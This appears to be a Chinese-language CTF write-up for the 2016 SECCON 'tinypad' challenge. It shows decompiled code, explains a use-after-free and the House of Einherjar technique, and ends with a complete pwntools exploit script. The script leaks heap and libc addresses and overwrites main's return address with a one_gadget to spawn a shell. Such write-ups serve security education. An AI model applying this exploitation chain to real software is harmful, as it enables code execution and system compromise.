2016 Seccon tinypad

64位程序  #House Of Einherjar  #use after free

程序逻辑

  1 int __cdecl main(int argc, const char **argv, const char **envp)
  2 {
  3   __int64 v3; // rdx
  4   __int64 v4; // rdx
  5   __int64 v5; // rdx
  6   __int64 v6; // rdx
  7   size_t v7; // rax
  8   signed int v8; // eax
  9   signed __int64 v9; // rdx
 10   signed int v10; // eax
 11   signed __int64 v11; // rdx
 12   size_t v12; // rax
 13   __int64 v13; // rdx
 14   size_t v14; // rax
 15   __int64 v15; // rdx
 16   __int64 v16; // rdx
 17   int c; // [rsp+4h] [rbp-1Ch]
 18   int i; // [rsp+8h] [rbp-18h]
 19   int v20; // [rsp+Ch] [rbp-14h]
 20   int v21; // [rsp+10h] [rbp-10h]
 21   int v22; // [rsp+14h] [rbp-Ch]
 22   unsigned __int64 v23; // [rsp+18h] [rbp-8h]
 23 
 24   v23 = __readfsqword(0x28u);
 25   v21 = 0;
 26   write_n(&unk_4019F0, 1LL, envp);
 27   write_n(
 28     "  ============================================================================\n"
 29     "// _|_|_|_|_|  _|_|_|  _|      _|  _|      _|  _|_|_|      _|_|    _|_|_|     \\\\\n"
 30     "||     _|        _|    _|_|    _|    _|  _|    _|    _|  _|    _|  _|    _|   ||\n"
 31     "||     _|        _|    _|  _|  _|      _|      _|_|_|    _|_|_|_|  _|    _|   ||\n"
 32     "||     _|        _|    _|    _|_|      _|      _|        _|    _|  _|    _|   ||\n"
 33     "\\\\     _|      _|_|_|  _|      _|      _|      _|        _|    _|  _|_|_|     //\n"
 34     "  ============================================================================\n",
 35     563LL,
 36     v3);
 37   write_n(&unk_4019F0, 1LL, v4);
 38   do
 39   {
 40     for ( i = 0; i <= 3; ++i )
 41     {
 42       LOBYTE(c) = i + 49;
 43       writeln("+------------------------------------------------------------------------------+\n", 81LL);
 44       write_n(" #   INDEX: ", 12LL, v5);
 45       writeln(&c, 1LL);
 46       write_n(" # CONTENT: ", 12LL, v6);
 47       if ( *(_QWORD *)&tinypad[16 * (i + 16LL) + 8] )
 48       {
 49         v7 = strlen(*(const char **)&tinypad[16 * (i + 16LL) + 8]);
 50         writeln(*(_QWORD *)&tinypad[16 * (i + 16LL) + 8], v7);
 51       }
 52       writeln(&unk_4019F0, 1LL);
 53     }
 54     v20 = 0;
 55     v8 = getcmd();
 56     v21 = v8;
 57     if ( v8 == 68 )
 58     {
 59       write_n("(INDEX)>>> ", 11LL, v9);
 60       v20 = read_int();
 61       if ( v20 > 0 && v20 <= 4 )
 62       {
 63         if ( *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] )
 64         {
 65           free(*(void **)&tinypad[16 * (v20 - 1 + 16LL) + 8]);
 66           *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] = 0LL;
 67           writeln("\nDeleted.", 9LL);
 68         }
 69         else
 70         {
 71           writeln("Not used", 8LL);
 72         }
 73       }
 74       else
 75       {
 76         writeln("Invalid index", 13LL);
 77       }
 78     }
 79     else if ( v8 > 68 )
 80     {
 81       if ( v8 != 69 )
 82       {
 83         if ( v8 == 81 )
 84           continue;
 85 LABEL_43:
 86         writeln("No such a command", 17LL);
 87         continue;
 88       }
 89       write_n("(INDEX)>>> ", 11LL, v9);
 90       v20 = read_int();
 91       if ( v20 > 0 && v20 <= 4 )
 92       {
 93         if ( *(_QWORD *)&tinypad[16 * (v20 - 1 + 16LL)] )
 94         {
 95           c = 48;
 96           strcpy(tinypad, *(const char **)&tinypad[16 * (v20 - 1 + 16LL) + 8]);
 97           while ( toupper(c) != 89 )
 98           {
 99             write_n("CONTENT: ", 9LL, v16);
100             v12 = strlen(tinypad);
101             writeln(tinypad, v12);
102             write_n("(CONTENT)>>> ", 13LL, v13);
103             v14 = strlen(*(const char **)&tinypad[16 * (v20 - 1 + 16LL) + 8]);
104             read_until(tinypad, v14, 10LL);
105             writeln("Is it OK?", 9LL);
106             write_n("(Y/n)>>> ", 9LL, v15);
107             read_until(&c, 1LL, 10LL);
108           }
109           strcpy(*(char **)&tinypad[16 * (v20 - 1 + 16LL) + 8], tinypad);
110           writeln("\nEdited.", 8LL);
111         }
112         else
113         {
114           writeln("Not used", 8LL);
115         }
116       }
117       else
118       {
119         writeln("Invalid index", 13LL);
120       }
121     }
122     else
123     {
124       if ( v8 != 65 )
125         goto LABEL_43;
126       while ( v20 <= 3 )
127       {
128         v9 = 16 * (v20 + 16LL);
129         if ( !*(_QWORD *)&tinypad[v9] )
130           break;
131         ++v20;
132       }
133       if ( v20 == 4 )
134       {
135         writeln("No space is left.", 17LL);
136       }
137       else
138       {
139         v22 = -1;
140         write_n("(SIZE)>>> ", 10LL, v9);
141         v22 = read_int();
142         if ( v22 <= 0 )
143         {
144           v10 = 1;
145         }
146         else
147         {
148           v10 = v22;
149           if ( (unsigned __int64)v22 > 0x100 )
150             v10 = 256;
151         }
152         v22 = v10;
153         *(_QWORD *)&tinypad[16 * (v20 + 16LL)] = v10;
154         *(_QWORD *)&tinypad[16 * (v20 + 16LL) + 8] = malloc(v22);
155         v11 = 16 * (v20 + 16LL);
156         if ( !*(_QWORD *)&tinypad[v11 + 8] )
157         {
158           writerrln("[!] No memory is available.", 27LL);
159           exit(-1);
160         }
161         write_n("(CONTENT)>>> ", 13LL, v11);
162         read_until(*(_QWORD *)&tinypad[16 * (v20 + 16LL) + 8], v22, 10LL);
163         writeln("\nAdded.", 7LL);
164       }
165     }
166   }
167   while ( v21 != 81 );
168   return 0;
169 }

add操作后内存分布,最多申请0x100的内存

1 0x602040                            <-tinypad
2 0x602140    size_idx1         <-tinypad+256
3 0x602148    ptr_idx1
4 0x602150    size_idx2
5 0x602158    ptr_idx2
6 0x602160    size_idx3
7 0x602168    ptr_idx3
8 0x602170    size_idx4
9 0x602178    ptr_idx4    

edit操作时先判断相应idx的size是否为0,然后用strlen计算len,并读入len长度的新内容

新内容写入0x602040处,再strcpy到对应的ptr处

每次菜单前会输出每个ptr的内容,由于free后没有置NULL,所以可以用来泄漏地址

利用思路

  1. 利用删除时没有将指针置为 NULL 的 UAF 漏洞,泄漏堆的基地址
  2. 再次利用 UAF 漏洞泄漏 libc 的基地址。
  3. 利用 house of einherjar 方法在 tinypad 的前 256 字节中伪造 chunk。当我们再次申请时,那么就可以控制 4 个 memo 的指针和内容了。
  4. 这里虽然我们的第一想法可能是直接覆盖 malloc_hook 为 one_gadget 地址,但是,由于当编辑时,程序是利用 strlen 来判读可以读取多少长度,而 malloc_hook 则在初始时为 0。所以我们直接覆盖,所以这里采用其他方法,即修改程序的 main 函数的返回地址为 one_gadget,之所以可以行得通,是因为返回地址往往是 7f 开头的,长度足够长,可以覆盖为 one_gadget。所以我们还是需要泄漏 main 函数的返回地址,由于 libc 中存储了 main 函数 environ 指针的地址,所以我们可以先泄露出 environ 的地址,然后在得知存储 main 函数的返回地址的地址。这里选取 environ 符号是因为 environ 符号在 libc 中会导出,而像 argc 和 argv 则不会导出,相对来说会比较麻烦一点。
  5. 最后修改 main 函数的返回地址为 one_gadget 地址获取 shell。

expolit

 1 from pwn import *
 2 sh=process('tinypad')
 3 elf=ELF('tinypad')
 4 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
 5 main_arena_offset=0x3c4b20
 6 
 7 def add(size,content):
 8     sh.recvuntil('(CMD)>>> ')
 9     sh.sendline('a')
10     sh.recvuntil('(SIZE)>>> ')
11     sh.sendline(str(size))
12     sh.recvuntil('(CONTENT)>>> ')
13     sh.sendline(content)
14 
15 def edit(idx,content):
16     sh.recvuntil('(CMD)>>> ')
17     sh.sendline('e')
18     sh.recvuntil('(INDEX)>>> ')
19     sh.sendline(str(idx))
20     sh.recvuntil('(CONTENT)>>> ')
21     sh.sendline(content)
22     sh.recvuntil('Is it OK?\n')
23     sh.sendline('Y')
24 
25 def delete(idx):
26     sh.recvuntil('(CMD)>>> ')
27     sh.sendline('d')
28     sh.recvuntil('(INDEX)>>> ')
29     sh.sendline(str(idx))
30 
31 #leak heap_base 
32 add(0x70,'a'*8)     #idx1
33 add(0x70,'b'*8)     #idx2
34 add(0x100,'c'*8)    #idx3 
35 delete(2)
36 delete(1)      #fastbin 0x70 idx1->idx2->NULL   idx1->fd=idx2
37 sh.recvuntil('# CONTENT: ')
38 data=sh.recvuntil('\n',drop=True)
39 heap_base=u64(data.ljust(8,'\x00'))-0x80
40 print 'heap_base: '+hex(heap_base)
41 #leak libc_base 
42 delete(3)      #now idx3 merge into top chunk , idx2 merge with idx1 , idx1->fd=unsorted_bin_adr      
43 unsorted_offset_arena=88
44 sh.recvuntil('# CONTENT: ')
45 data=sh.recvuntil('\n',drop=True)
46 unsorted_bin_adr=u64(data.ljust(8,'\x00'))
47 main_arena=unsorted_bin_adr-unsorted_offset_arena
48 libc_base=main_arena-main_arena_offset
49 print 'libc_base: '+hex(libc_base)
50 
51 #house of einherjar
52 add(0x18,'a'*0x18)          #idx1   重用idx2的prev_size 可溢出覆盖
53 add(0x100,'b'*0xf8+'\x11')  #idx2
54 #after overflow 0x111->0x100
55 #'\x11' is next fake_chunk->size
56 add(0x100,'c'*0xf8)         #idx3
57 add(0x100,'d'*0xf8)         #idx4
58 
59 #tinypad+0x20 -> fake_chunk
60 #*(tinypad+0x100+0x20)=next_chunk->prev_size=size_idx3=0x100
61 tinypad_adr=0x602040
62 fakechunk_adr=tinypad_adr+0x20
63 fakechunk_size=0x101
64 fakechunk=p64(0)+p64(fakechunk_size)+p64(fakechunk_adr)+p64(fakechunk_adr)
65 edit(3,'d'*0x20+fakechunk)
66 
67 #overflow idx2->prev_size  idx2->size->inuse
68 diff=heap_base+0x20-fakechunk_adr
69 diff_strip=p64(diff).strip('\0')
70 number_of_zeros=len(p64(diff))-len(diff_strip)
71 for i in range(number_of_zeros+1):
72     data=diff_strip.rjust(0x18-i,'f')
73     edit(1,data)
74 
75 delete(2)   #unlink make fake_chunk at tinypad+0x20 (0xf0+0x10)
76 sh.recvuntil('\nDeleted.')
77 #make fake_chunk in unsorted bin 0xf0+0x10
78 #gdb.attach(sh)
79 edit(4,'d'*0x20+p64(0)+p64(0x101)+p64(main_arena+88)+p64(main_arena+88))  #pass unsorted bin check
80 
81 one_gadget_adr=libc_base+0x45216
82 environ_pointer=libc_base+libc.symbols['__environ']
83 print 'one_gadget_adr: '+hex(one_gadget_adr)
84 print 'environ_pointer: '+hex(environ_pointer)
85 
86 #leak environ_adr -> leak main_ret_adr
87 fake_pad='f'*(0x100-0x20-0x10)+'a'*8+p64(environ_pointer)+'a'*8+p64(0x602148)
88 add(0xf0,fake_pad) #idx2
89 #gdb.attach(sh)   
90 #ptr_idx1=environ_pointer ptr_idx2=0x602148=&(ptr_idx1)
91 sh.recvuntil(' # CONTENT: ')
92 environ_adr=sh.recvuntil('\n', drop=True).ljust(8, '\x00')
93 environ_adr=u64(environ_adr)
94 main_ret_adr=environ_adr-30*8
95 edit(2,p64(main_ret_adr))
96 edit(1,p64(one_gadget_adr))
97 sh.sendline('Q')
98 sh.interactive()

猜你喜欢

转载自www.cnblogs.com/pfcode/p/10758275.html